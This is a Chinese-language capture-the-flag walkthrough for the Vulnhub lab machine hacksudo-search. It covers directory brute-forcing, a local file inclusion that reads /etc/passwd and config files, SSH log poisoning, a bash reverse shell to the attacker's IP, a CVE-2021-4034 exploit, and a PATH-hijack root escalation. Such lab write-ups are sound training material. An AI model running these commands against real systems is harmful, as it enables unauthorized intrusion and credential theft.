Vulnhub靶机:hacksudo-search

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo-search(10.0.2.50)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip

二、信息收集

使用nmap主机发现靶机ip:10.0.2.50

Vulnhub靶机:hacksudo-search_第1张图片

使用nmap端口扫描发现,靶机开放端口:22、80

Vulnhub靶机:hacksudo-search_第2张图片

80端口:打开网站发现是一个搜索页面,查看源码未发现隐藏信息

Vulnhub靶机:hacksudo-search_第3张图片

使用gobuster和dirsearch工具进行目录爆破,发现/.env、/robots.txt、/search1.php文件

gobuster dir -u http://10.0.2.50 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://10.0.2.50 /usr/share/wordlists/dirb/big.txt

Vulnhub靶机:hacksudo-search_第4张图片
Vulnhub靶机:hacksudo-search_第5张图片

/.env文件存在一段加密信息和数据库的用户名密码:hiraman:MyD4dSuperH3r0!

aGFja3N1ZG8gaGVscCB5b3UgdG8gbGVhcm4gQ1RGICwgY29udGFjdCB1cyB3d3cuaGFja3N1ZG8uY29tL2NvbnRhY3QK

解密得到:hacksudo help you to learn CTF , contact us www.hacksudo.com/contact

Vulnhub靶机:hacksudo-search_第6张图片

/robots.txt文件

Vulnhub靶机:hacksudo-search_第7张图片

/search1.php文件是另一个搜索页面

Vulnhub靶机:hacksudo-search_第8张图片

查看源码发现隐藏信息:find me @hacksudo.com/contact @fuzzing always best option :)

Vulnhub靶机:hacksudo-search_第9张图片

点击Contact,在URL发现FUZZ字段:http://10.0.2.50/search1.php?FUZZ=contact.php,怀疑存在文件包含漏洞

Vulnhub靶机:hacksudo-search_第10张图片

使用wfuzz工具探测一波,发现一个LFI

wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.50/search1.php?FUZZ=/etc/passwd

Vulnhub靶机:hacksudo-search_第11张图片

尝试包含/etc/passwd发现显示passwd文件的内容

Vulnhub靶机:hacksudo-search_第12张图片

三、漏洞利用

查看/etc/passwd文件发现存在5个用户

monali:x:1001:1001:,,,:/home/monali:/bin/bash
john:x:1002:1002:,,,:/home/john:/bin/bash
search:x:1003:1003:,,,:/home/search:/bin/bash
hacksudo:x:1000:1000:hacksudo,,,:/home/hacksudo:/bin/bash
root:x:0:0:root:/root:/bin/bash

可以尝试包含这些用户的ssh私钥或一些日志文件,看看有没有权限访问

/home/monali/.ssh/id_rsa
/home/john/.ssh/id_rsa
/home/search/.ssh/id_rsa
/home/hacksudo/.ssh/id_rsa

#ssh日志
/var/log/auth.log

发现包含ssh日志出现回显

Vulnhub靶机:hacksudo-search_第13张图片

可以通过在用户名处注入一句话木马然后使用蚁剑连接

ssh ''@10.0.2.50

Vulnhub靶机:hacksudo-search_第14张图片

反弹shell

bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

Vulnhub靶机:hacksudo-search_第15张图片

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Vulnhub靶机:hacksudo-search_第16张图片

四、提权

方法一:

使用命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现存在/usr/lib/policykit-1/polkit-agent-helper-1,该版本的polkit存在提权漏洞CVE-2021-4034

Vulnhub靶机:hacksudo-search_第17张图片

查看靶机是否存在gcc环境,发现存在

在这里插入图片描述

使用蚁剑将exp上传,编译,执行,获取root权限

Vulnhub靶机:hacksudo-search_第18张图片

方法二:

根据之前目录爆破发现一个目录/account/,浏览器访问,发现数据库连接文件

Vulnhub靶机:hacksudo-search_第19张图片

使用文件包含漏洞读取dbconnect.php文件的内容

http://192.168.178.10/search1.php?me=php://filter/convert.base64-encode/resource=./account/dbconnect.php

Vulnhub靶机:hacksudo-search_第20张图片

使用base64解密发现数据库用户名密码:hacksudo:p@ssword

Vulnhub靶机:hacksudo-search_第21张图片

尝试使用/.envdbconnect.php文件里面的用户名密码登录ssh,直接登录失败,但使用用户名密码:hacksudo:MyD4dSuperH3r0!,登录ssh成功

Vulnhub靶机:hacksudo-search_第22张图片

使用命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现文件/home/hacksudo/search/tools/searchinstall

Vulnhub靶机:hacksudo-search_第23张图片

发现searchinstall程序的源码,该程序会先设置uid,然后以root命令执行install命令

Vulnhub靶机:hacksudo-search_第24张图片

我们可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > install
chmod 777 install
export PATH=/tmp:$PATH

执行searchinstall程序获取root权限

Vulnhub靶机:hacksudo-search_第25张图片

获取flag

Vulnhub靶机:hacksudo-search_第26张图片

你可能感兴趣的:(靶场,web安全)